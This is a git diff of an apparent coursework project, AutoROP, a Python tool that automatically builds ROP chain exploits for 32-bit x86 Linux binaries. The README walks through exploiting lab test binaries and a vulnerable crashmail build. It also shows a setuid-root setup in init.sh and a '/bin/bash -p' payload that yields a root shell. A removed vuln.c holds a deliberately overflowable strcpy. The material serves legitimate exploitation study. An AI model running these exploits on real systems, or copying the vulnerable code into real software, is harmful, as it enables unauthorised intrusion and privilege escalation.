diff --git a/.gitignore b/.gitignore index f3d61fe..7fef0a9 100644 --- a/.gitignore +++ b/.gitignore @@ -136,7 +136,6 @@ dmypy.json .vagrant # binaries -vuln-32 core out/* !out/.gitkeep diff --git a/Makefile b/Makefile deleted file mode 100644 index 4c5abd7..0000000 --- a/Makefile +++ /dev/null @@ -1,2 +0,0 @@ -vuln-32: - gcc -fno-stack-protector -m32 -static vuln.c -o vuln-32 diff --git a/README.md b/README.md index 800e382..6bd72ec 100644 --- a/README.md +++ b/README.md @@ -1 +1,109 @@ -# security-cw \ No newline at end of file +# AutoROP + +```console + _ ___ _.--. ___ _____ ______ _____ ______ ______ +\`.|\..----...-'` `-._.-'_.-'` / _ \ / ____| /\ |____ / ____| /\ | ____| ____| +/ ' ` , __.--' | | | |_ _| | / \ / / | / \ | |__ | |__ +)/' _/ \ `-_, / | | | \ \/ / | / /\ \ / /| | / /\ \ | __| | __| +`-'" `"\_ ,_.-;_.-\_ ', | |_| |> <| |____ / ____ \ / / | |____ / ____ \| | | |____ + _.-'_./ {_.' ; / \___//_/\_\\_____/_/ \_\/_/ \_____/_/ \_\_| |______| + {_.-``-' {_/ + + __ __ + | _______ _ _ _______ _____ ______ _____ _____ | + | |_____| | | | | | |_____/ | | |_____] | + | | | |_____| | |_____| | \_ |_____| | | + |__ __| +``` + +## Set up Vagrant +The project uses vagrant to ensure consistent results across machines. +```sh +vagrant up +vagrant ssh +cd cw +``` + +Our test environment uses: + +* Vagrant with the [Libvirt](https://github.com/vagrant-libvirt/vagrant-libvirt) provider +* Ubuntu 18.04, provided by the image `generic/ubuntu1804` +* Python 3.9.0 +* A modified version of [ROPGadget](https://github.com/JonathanSalwan/ROPgadget) + +## `autoRop.py` + +Our ROP exploit is in the Python script `autoRop.py`. The script supports automatic gadget discovery and ROP chain exploitation of 32-bit x86 Linux ELF binaries. Broadly, the script works by: + +1. Generating a padding discovery ROP payload from the target program which executes `/bin/echo "[ Successful ROP! ]"`. +1. Modifying the padding length on the discovery payload until the exploit is successful. +1. Generating the target ROP payload in `exec_args.json` with the discovered padding in step 2. +1. Running the program with the target payload. + +## ROP exploit on test binaries +All binaries are located in the `test-binaries` directory. Each of them uses a different method for supplying the ROP exploit. Below are instructions for each type. You will see for each attack that it is successful when it prints `[ Successful ROP! ]`. + +### `vuln-32` - Binary using file input +This is the original vulnerable program from the lab. It takes its payload from a file, the path to which is passed as an argument. + +```sh +python autoRop.py --input_method file --run test-binaries/vuln-32 +``` + +### `null-data-addr` - Binary using file input +This is the original vulnerable program from the lab, compiled with the flag `-Tdata 0x080f0000`. This sets the base `.data` address to `0x080f0000`, resulting in null bytes in the data address. We can confirm the data address has been set accordingly with: +```sh +$ readelf --sections test-binaries/null-data-addr 2> /dev/null | grep -e "\.data " +> [ 2] .data PROGBITS 080f0000 091000 000f20 00 WA 0 0 32 +``` + +AutoROP handles this and places its data at a +```sh +python autoRop.py --input_method file --run test-binaries/null-data-addr +``` + +### `elf-linux-x86`/`elf-linux-x86-NDH-chall` - Binaries using a positional argument +These binaries are largely similar. They both take the payload as their first argument. + +```sh +python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86 + +python autoRop.py --input_method arg --run test-binaries/elf-Linux-x86-NDH-chall +``` + +### `crashmail` - Binary using an optional argument +This was a real world vulnerable version of the program crashmail. When the `SETTINGS` option is used, the next argument has a buffer overflow vulnerability. Thus, we run this binary with the first argument as `SETTINGS` and the next argument as the payload. This can be configured by changing the exec_args file from the default `exec_args.json` +```json +[ "$PAYLOAD$" ] +``` +to `test-binaries/crashmail_exec_args.json` +```json +[ "SETTINGS", "$PAYLOAD$" ] +``` +like so: +```sh +python autoRop.py --input_method arg --exec_args test-binaries/crashmail_exec_args.json --run test-binaries/crashmail +``` + +This may take a little while due to the fairly large required offset. + +## Changing the `execve` target +AutoROP allows you to change what you execute with `execve` - enabling the execution of any executable with any arguments. It also allows to automatically run the ROP chain where the ROP payload will generate an interactive program, using the argument `--interactive`. Without `--interactive`, the program simply dumps the output of the ROP to stdout. + +We demonstrate this by making AutoROP generate an interactive shell payload. To do this, we use the file `rop_exec_bash.json`: +```json +["/bin/bash", "-p"] +``` +This array represents the `execve` arguments - the signature will be `execve("/bin/bash", ["/bin/bash", "-p"])`. + +The `-p` flag is used to enable privileged mode. In this mode, bash will acknowledge the effective user id, allowing exploitation of the `setuid` bit. This means that if the target binary has the setuid bit sit, we will be able to get a root shell. We demonstrate this by setting the setuid bit on `vuln-32-setuid`. This binary is stored in the home directory due to issues surrounding setting the owner and setuid bit on files in the Vagrant shared directory. + +Now we run AutoROP on this binary, and get an interactive root shell: +```sh +python autoRop.py --input_method file --rop_exec_file rop_exec_bash.json --run --interactive ~/vuln-32-setuid +``` +We can verify this by typing +```console +whoami +``` +and we get `root`! \ No newline at end of file diff --git a/autoRop.py b/autoRop.py index 3c89ec7..c26db4a 100755 --- a/autoRop.py +++ b/autoRop.py @@ -36,14 +36,14 @@ print(r''' arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable") arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit") -arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file") -arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run") -arg_parser.add_argument("--min_payload", metavar="min", default=0, type=int, help="The minimum payload length to try") -arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try") -arg_parser.add_argument("--input_method", metavar="method", choices=['arg', 'file', 'stdin'], default='arg', help="Method of passing the payload to the target binary") -arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable") +arg_parser.add_argument("--exec_args_file", metavar="exec_args_file", default="exec_args.json", type=str, help="The path to the file containing the arguments to pass to the executable. Put $PAYLOAD$ where you want the payload to be placed. (default: exec_args.json)") +arg_parser.add_argument("--input_method", metavar="method", choices=['arg', 'file', 'stdin'], default='arg', help="Method of passing the payload to the target binary (default: arg)") arg_parser.add_argument("--interactive", action="store_true", default=False, help="Automatically run the ROP on the executable") -arg_parser.add_argument("--exec_args_file", metavar="exec_args_file", default="exec_args.json", type=str, help="The path to the file containing the arguments to pass to the executable. Put $PAYLOAD$ where you want the payload to be placed.") +arg_parser.add_argument("--min_payload", metavar="min", default=0, type=int, help="The minimum payload length to try (default: 0)") +arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try (default: 16384)") +arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run (default: rop_exec.json)") +arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file (default: rop.txt)") +arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable") args = arg_parser.parse_args() @@ -67,43 +67,50 @@ def run_program(payload: str, **kwargs) -> process: p = None if input_method == 'arg': exec_args[payload_idx] = payload - p = process([f'./{exec_file}'] + exec_args, **kwargs) + p = process([f'{exec_file}'] + exec_args, **kwargs) elif input_method == 'file': with open('/tmp/input.txt', 'wb') as f: f.write(payload) f.flush() exec_args[payload_idx] = '/tmp/input.txt' - p = process([f'./{exec_file}'] + exec_args, **kwargs) + p = process([f'{exec_file}'] + exec_args, **kwargs) elif input_method == 'stdin': - p = process([f'./{exec_file}'] + exec_args, **kwargs) + p = process([f'{exec_file}'] + exec_args, **kwargs) p.send(payload) return p def find_offset_inc(low: int, high: int): default_padding = 64 + tmp_rop = '/tmp/rop_file' print(f" ├─[🤔] Generating offset discovery payload...") - subprocess.run( + result = subprocess.run( [ "ROPgadget", "--binary", exec_file, "--ropchain", "--silent", "--paddingLen", str(default_padding), - "--ropFile", '/tmp/rop_file', + "--ropFile", tmp_rop, "--execFile", 'rop_exec_default.json', ], - stdout = subprocess.DEVNULL + stdout = subprocess.PIPE ) - with open('/tmp/rop_file', 'rb') as f: - original_payload = f.read()[default_padding:] - for i in range(low, high + 1): - print(f" ├─[🤔] Trying offset {i}...") - rop_payload = (b'A' * i) + original_payload - proc = run_program(rop_payload) - if b'[ Successful ROP! ]' in proc.readall(): - print(f" └─[😳] Found offset at {i}!\n") - return i + with open("log/ropgadget.log", "wb") as f: + f.write(result.stdout) + + try: + with open(tmp_rop, 'rb') as f: + original_payload = f.read()[default_padding:] + for i in range(low, high + 1): + print(f" ├─[🤔] Trying offset {i}...") + rop_payload = (b'A' * i) + original_payload + proc = run_program(rop_payload) + if b'[ Successful ROP! ]' in proc.readall(): + print(f" └─[😳] Found offset at {i}!\n") + return i + except FileNotFoundError as e: + print(f" └─[😥] Could not find {e.filename}, check log/ropgadget.log for details") return -1 diff --git a/init.sh b/init.sh index 57b12f9..3af40dd 100644 --- a/init.sh +++ b/init.sh @@ -37,6 +37,9 @@ cd /home/vagrant/cw/Ropper && git submodule init && git submodule update cd /home/vagrant/ && git clone https://github.com/Z3Prover/z3.git && cd z3 && python3 scripts/mk_make.py && cd build && make -j$(nproc) && sudo make install cp -R /home/vagrant/z3/build/python/z3 /home/vagrant/cw/Ropper +cp /home/vagrant/cw/test-binaries/vuln-32 /home/vagrant/vuln-32-setuid +sudo chown root /home/vagrant/vuln-32-setuid +sudo chmod u+s /home/vagrant/vuln-32-setuid sudo apt-get clean diff --git a/rop_exec_bash.json b/rop_exec_bash.json new file mode 100644 index 0000000..df61840 --- /dev/null +++ b/rop_exec_bash.json @@ -0,0 +1 @@ +["/bin/bash", "-p"] \ No newline at end of file diff --git a/test-binaries/crashmail_exec_args.json b/test-binaries/crashmail_exec_args.json new file mode 100644 index 0000000..1421655 --- /dev/null +++ b/test-binaries/crashmail_exec_args.json @@ -0,0 +1 @@ +[ "SETTINGS", "$PAYLOAD$" ] \ No newline at end of file diff --git a/test-binaries/null-data-addr/null-data-addr b/test-binaries/null-data-addr similarity index 68% rename from test-binaries/null-data-addr/null-data-addr rename to test-binaries/null-data-addr index 04376f4..3894aba 100755 Binary files a/test-binaries/null-data-addr/null-data-addr and b/test-binaries/null-data-addr differ diff --git a/test-binaries/null-data-addr/Makefile b/test-binaries/null-data-addr-src/Makefile similarity index 100% rename from test-binaries/null-data-addr/Makefile rename to test-binaries/null-data-addr-src/Makefile diff --git a/test-binaries/null-data-addr-src/null-data-addr b/test-binaries/null-data-addr-src/null-data-addr new file mode 100755 index 0000000..3894aba Binary files /dev/null and b/test-binaries/null-data-addr-src/null-data-addr differ diff --git a/test-binaries/null-data-addr/null-data-addr.c b/test-binaries/null-data-addr-src/null-data-addr.c similarity index 100% rename from test-binaries/null-data-addr/null-data-addr.c rename to test-binaries/null-data-addr-src/null-data-addr.c diff --git a/test-binaries/vuln-32 b/test-binaries/vuln-32 new file mode 100755 index 0000000..025b434 Binary files /dev/null and b/test-binaries/vuln-32 differ diff --git a/vuln.c b/vuln.c deleted file mode 100644 index 4715064..0000000 --- a/vuln.c +++ /dev/null @@ -1,37 +0,0 @@ -#include -#include -#include -#include -int copyData(char *string) -{ - char buf[32]; - strcpy(buf, string); - return (0); -} - -int main(int argc, char *argv[]) -{ - char buffer[700]; - FILE *file; - if (argc !=2) - { - printf("[*] invalid arguments!\n [*] > %s file_name\n",argv[0]); - exit(0); - } - printf("opening file\n"); - file = fopen(argv[1],"rb"); - if (!file) - { - //printf("file not opened %s", strerror(errno)); - fprintf(stderr,"file not opened %s", strerror(errno)); - //printf("error"); - return (0); - } - printf("file opened\n"); - fread(buffer, 699,1,file); - fclose(file); - copyData(buffer); - return (0); -} - -